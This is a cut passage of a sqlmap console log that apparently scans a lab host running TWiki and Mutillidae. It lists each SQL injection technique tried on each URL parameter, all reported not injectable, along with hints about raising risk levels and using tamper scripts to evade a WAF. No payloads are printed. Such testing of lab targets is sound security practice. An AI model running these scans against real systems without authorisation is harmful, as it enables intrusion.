'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:19:06] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:19:06] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:19:06] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:19:06] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:19:06] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:19:06] [INFO] testing 'MySQL inline queries' [18:19:06] [INFO] testing 'PostgreSQL inline queries' [18:19:06] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:19:06] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:19:06] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:19:06] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:19:06] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:19:06] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:19:06] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:19:06] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:19:06] [INFO] testing 'Oracle AND time-based blind' [18:19:06] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:19:06] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:19:07] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:19:07] [WARNING] GET parameter 'rev' is not injectable [18:19:07] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL [18:19:07] [WARNING] HTTP error codes detected during run: 400 (Bad Request) - 236 times [18:19:07] [INFO] skipping 'http://192.168.1.113:80/../rdiff/TWiki/TWikiHistory?rev1=1.9&rev2=1.8' [18:19:07] [INFO] skipping 'http://192.168.1.113:80/../view/TWiki/TWikiHistory?rev=1.8' [18:19:07] [INFO] skipping 'http://192.168.1.113:80/../rdiff/TWiki/TWikiHistory?rev1=1.8&rev2=1.7' [18:19:07] [INFO] skipping 'http://192.168.1.113:80/../view/TWiki/TWikiHistory?rev=1.7' URL 8: GET http://192.168.1.113:80/../oops/TWiki/TWikiHistory?template=oopsrev¶m1=1.10 do you want to test this URL? [Y/n/q] Y [18:19:07] [INFO] testing URL 'http://192.168.1.113:80/../oops/TWiki/TWikiHistory?template=oopsrev¶m1=1.10' [18:19:07] [INFO] testing connection to the target URL [18:19:07] [WARNING] the web server responded with an HTTP error code (400) which could interfere with the results of the tests [18:19:07] [INFO] testing if the target URL is stable [18:19:08] [INFO] target URL is stable [18:19:08] [INFO] testing if GET parameter 'template' is dynamic [18:19:08] [WARNING] GET parameter 'template' does not appear dynamic [18:19:08] [WARNING] heuristic (basic) test shows that GET parameter 'template' might not be injectable [18:19:08] [INFO] testing for SQL injection on GET parameter 'template' [18:19:08] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:19:08] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:19:08] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:19:08] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:19:08] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:19:08] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:19:08] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:19:09] [INFO] testing 'MySQL inline queries' [18:19:09] [INFO] testing 'PostgreSQL inline queries' [18:19:09] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:19:09] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:19:09] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:19:09] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:19:09] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:19:09] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:19:09] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:19:09] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:19:09] [INFO] testing 'Oracle AND time-based blind' [18:19:09] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:19:09] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:19:09] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:19:10] [WARNING] GET parameter 'template' is not injectable [18:19:10] [INFO] testing if GET parameter 'param1' is dynamic [18:19:10] [WARNING] GET parameter 'param1' does not appear dynamic [18:19:10] [WARNING] heuristic (basic) test shows that GET parameter 'param1' might not be injectable [18:19:10] [INFO] testing for SQL injection on GET parameter 'param1' [18:19:10] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:19:10] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:19:10] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:19:10] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:19:10] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:19:10] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:19:10] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:19:10] [INFO] testing 'MySQL inline queries' [18:19:10] [INFO] testing 'PostgreSQL inline queries' [18:19:10] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:19:10] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:19:10] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:19:10] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:19:10] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:19:10] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:19:10] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:19:10] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:19:10] [INFO] testing 'Oracle AND time-based blind' [18:19:11] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:19:11] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:19:11] [WARNING] GET parameter 'param1' is not injectable [18:19:11] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL [18:19:11] [WARNING] HTTP error codes detected during run: 400 (Bad Request) - 469 times [18:19:11] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-hints&page=add-to-your-blog.php' [18:19:11] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-security&page=add-to-your-blog.php' [18:19:11] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-hints&page=site-footer-xss-discussion.php' [18:19:11] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-security&page=site-footer-xss-discussion.php' [18:19:11] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-hints&page=php-errors.php' [18:19:11] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-security&page=php-errors.php' [18:19:11] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-hints&page=browser-info.php' [18:19:11] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-security&page=browser-info.php' URL 9: GET http://192.168.1.113:80/twiki/bin/edit/Main/WebHome?t=1441456557 do you want to test this URL? [Y/n/q] Y [18:19:11] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/edit/Main/WebHome?t=1441456557' [18:19:11] [INFO] testing connection to the target URL [18:19:12] [INFO] testing if the target URL is stable [18:19:13] [INFO] target URL is stable [18:19:13] [INFO] testing if GET parameter 't' is dynamic [18:19:13] [WARNING] GET parameter 't' does not appear dynamic [18:19:13] [WARNING] heuristic (basic) test shows that GET parameter 't' might not be injectable [18:19:13] [INFO] testing for SQL injection on GET parameter 't' [18:19:13] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:19:14] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:19:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:19:15] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:19:16] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:19:16] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:19:17] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:19:17] [INFO] testing 'MySQL inline queries' [18:19:17] [INFO] testing 'PostgreSQL inline queries' [18:19:17] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:19:17] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:19:18] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:19:18] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:19:19] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:19:19] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:19:20] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:19:20] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:19:21] [INFO] testing 'Oracle AND time-based blind' [18:19:21] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:19:21] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:19:28] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:19:34] [WARNING] GET parameter 't' is not injectable [18:19:34] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 10: GET http://192.168.1.113:80/twiki/bin/search/Main/SearchResult?scope=text®ex=on&search=Web Home[^A-Za-z] do you want to test this URL? [Y/n/q] Y [18:19:34] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/search/Main/SearchResult?scope=text®ex=on&search=Web Home[^A-Za-z]' custom injection marking character ('') found in option '-u'. Do you want to process it? [Y/n/q] Y [18:19:34] [INFO] testing connection to the target URL [18:19:34] [INFO] testing if the target URL is stable [18:19:35] [WARNING] target URL is not stable. sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' and provide a string or regular expression to match on how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C [18:19:35] [INFO] testing if URI parameter '#1' is dynamic [18:19:35] [WARNING] URI parameter '#1*' does not appear dynamic [18:19:35] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [18:19:35] [INFO] testing for SQL injection on URI parameter '#1*' [18:19:35] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:19:36] [WARNING] reflective value(s) found and filtering out [18:19:37] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:19:37] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:19:37] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:19:38] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:19:38] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:19:39] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:19:39] [INFO] testing 'MySQL inline queries' [18:19:39] [INFO] testing 'PostgreSQL inline queries' [18:19:39] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:19:39] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:19:40] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:19:40] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:19:41] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:19:41] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:19:42] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:19:42] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:19:43] [INFO] testing 'Oracle AND time-based blind' [18:19:43] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:19:43] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:19:50] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:19:56] [WARNING] URI parameter '#1*' is not injectable [18:19:56] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 11: GET http://192.168.1.113:80/twiki/bin/view/Main/WebHome?skin=print do you want to test this URL? [Y/n/q] Y [18:19:56] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/view/Main/WebHome?skin=print' [18:19:56] [INFO] testing connection to the target URL [18:19:56] [INFO] testing if the target URL is stable [18:19:57] [INFO] target URL is stable [18:19:57] [INFO] testing if GET parameter 'skin' is dynamic [18:19:57] [INFO] confirming that GET parameter 'skin' is dynamic [18:19:57] [INFO] GET parameter 'skin' is dynamic [18:19:57] [INFO] heuristics detected web page charset 'ascii' [18:19:57] [WARNING] heuristic (basic) test shows that GET parameter 'skin' might not be injectable [18:19:58] [INFO] testing for SQL injection on GET parameter 'skin' [18:19:58] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:19:58] [WARNING] reflective value(s) found and filtering out [18:19:59] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:19:59] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:20:00] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:20:01] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:20:02] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:20:02] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:20:02] [INFO] testing 'MySQL inline queries' [18:20:03] [INFO] testing 'PostgreSQL inline queries' [18:20:03] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:20:03] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:20:03] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:20:04] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:20:05] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:20:05] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:20:06] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:20:07] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:20:07] [INFO] testing 'Oracle AND time-based blind' [18:20:08] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:20:08] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:20:16] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:20:24] [WARNING] GET parameter 'skin' is not injectable [18:20:24] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 12: GET http://192.168.1.113:80/twiki/bin/rdiff/Main/WebHome?rev1=1.21&rev2=1.20 do you want to test this URL? [Y/n/q] Y [18:20:24] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/rdiff/Main/WebHome?rev1=1.21&rev2=1.20' [18:20:24] [INFO] testing connection to the target URL [18:20:24] [INFO] testing if the target URL is stable [18:20:25] [INFO] target URL is stable [18:20:25] [INFO] testing if GET parameter 'rev1' is dynamic [18:20:25] [WARNING] GET parameter 'rev1' does not appear dynamic [18:20:25] [WARNING] heuristic (basic) test shows that GET parameter 'rev1' might not be injectable [18:20:26] [INFO] testing for SQL injection on GET parameter 'rev1' [18:20:26] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:20:27] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:20:27] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:20:27] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:20:28] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:20:28] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:20:29] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:20:29] [INFO] testing 'MySQL inline queries' [18:20:29] [INFO] testing 'PostgreSQL inline queries' [18:20:29] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:20:29] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:20:30] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:20:30] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:20:31] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:20:31] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:20:32] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:20:32] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:20:33] [INFO] testing 'Oracle AND time-based blind' [18:20:33] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:20:33] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:20:40] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:20:46] [WARNING] GET parameter 'rev1' is not injectable [18:20:46] [INFO] testing if GET parameter 'rev2' is dynamic [18:20:47] [WARNING] GET parameter 'rev2' does not appear dynamic [18:20:47] [WARNING] heuristic (basic) test shows that GET parameter 'rev2' might not be injectable [18:20:47] [INFO] testing for SQL injection on GET parameter 'rev2' [18:20:47] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:20:48] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:20:49] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:20:50] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:20:50] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:20:51] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:20:51] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:20:52] [INFO] testing 'MySQL inline queries' [18:20:53] [INFO] testing 'PostgreSQL inline queries' [18:20:53] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:20:54] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:20:54] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:20:55] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:20:55] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:20:56] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:20:56] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:20:57] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:20:57] [INFO] testing 'Oracle AND time-based blind' [18:20:58] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:21:05] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:21:11] [WARNING] GET parameter 'rev2' is not injectable [18:21:11] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 13: GET http://192.168.1.113:80/twiki/bin/view/Main/WebHome?rev=1.20 do you want to test this URL? [Y/n/q] Y [18:21:11] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/view/Main/WebHome?rev=1.20' [18:21:11] [INFO] testing connection to the target URL [18:21:12] [INFO] testing if the target URL is stable [18:21:12] [INFO] target URL is stable [18:21:12] [INFO] testing if GET parameter 'rev' is dynamic [18:21:12] [WARNING] GET parameter 'rev' does not appear dynamic [18:21:13] [WARNING] heuristic (basic) test shows that GET parameter 'rev' might not be injectable [18:21:13] [INFO] heuristic (XSS) test shows that GET parameter 'rev' might be vulnerable to XSS attacks [18:21:13] [INFO] testing for SQL injection on GET parameter 'rev' [18:21:13] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:21:13] [WARNING] reflective value(s) found and filtering out [18:21:14] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:21:15] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:21:15] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:21:16] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:21:16] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:21:17] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:21:17] [INFO] testing 'MySQL inline queries' [18:21:17] [INFO] testing 'PostgreSQL inline queries' [18:21:17] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:21:17] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:21:18] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:21:18] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:21:19] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:21:19] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:21:20] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:21:20] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:21:21] [INFO] testing 'Oracle AND time-based blind' [18:21:22] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:21:22] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:21:29] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:21:38] [WARNING] GET parameter 'rev' is not injectable [18:21:38] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL [18:21:38] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/Main/WebHome?rev1=1.20&rev2=1.19' [18:21:38] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/WebHome?rev=1.19' URL 14: GET http://192.168.1.113:80/twiki/bin/oops/Main/WebHome?template=oopsmore¶m1=1.21¶m2=1.21 do you want to test this URL? [Y/n/q] Y [18:21:38] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/oops/Main/WebHome?template=oopsmore¶m1=1.21¶m2=1.21' [18:21:38] [INFO] testing connection to the target URL [18:21:38] [INFO] testing if the target URL is stable [18:21:39] [WARNING] target URL is not stable. sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' and provide a string or regular expression to match on how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C [18:21:39] [INFO] testing if GET parameter 'template' is dynamic [18:21:39] [INFO] confirming that GET parameter 'template' is dynamic [18:21:39] [INFO] GET parameter 'template' is dynamic [18:21:39] [INFO] heuristics detected web page charset 'ascii' [18:21:39] [WARNING] heuristic (basic) test shows that GET parameter 'template' might not be injectable [18:21:39] [INFO] heuristic (XSS) test shows that GET parameter 'template' might be vulnerable to XSS attacks [18:21:39] [INFO] testing for SQL injection on GET parameter 'template' [18:21:39] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:21:39] [WARNING] reflective value(s) found and filtering out [18:21:40] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:21:40] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:21:41] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:21:41] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:21:42] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:21:42] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:21:42] [INFO] testing 'MySQL inline queries' [18:21:43] [INFO] testing 'PostgreSQL inline queries' [18:21:43] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:21:43] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:21:43] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:21:44] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:21:44] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:21:44] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:21:45] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:21:45] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:21:46] [INFO] testing 'Oracle AND time-based blind' [18:21:46] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:21:46] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:21:52] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:21:58] [WARNING] GET parameter 'template' is not injectable [18:21:58] [INFO] testing if GET parameter 'param1' is dynamic [18:21:58] [WARNING] GET parameter 'param1' does not appear dynamic [18:21:58] [WARNING] heuristic (basic) test shows that GET parameter 'param1' might not be injectable [18:21:58] [INFO] heuristic (XSS) test shows that GET parameter 'param1' might be vulnerable to XSS attacks [18:21:58] [INFO] testing for SQL injection on GET parameter 'param1' [18:21:58] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:22:00] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:22:00] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:22:01] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:22:01] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:22:02] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:22:03] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:22:03] [INFO] testing 'MySQL inline queries' [18:22:03] [INFO] testing 'PostgreSQL inline queries' [18:22:03] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:22:03] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:22:04] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:22:04] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:22:05] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:22:05] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:22:06] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:22:07] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:22:07] [INFO] testing 'Oracle AND time-based blind' [18:22:08] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:22:16] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:22:24] [WARNING] GET parameter 'param1' is not injectable [18:22:24] [INFO] testing if GET parameter 'param2' is dynamic [18:22:24] [WARNING] GET parameter 'param2' does not appear dynamic [18:22:24] [WARNING] heuristic (basic) test shows that GET parameter 'param2' might not be injectable [18:22:24] [INFO] testing for SQL injection on GET parameter 'param2' [18:22:24] [INFO] testing 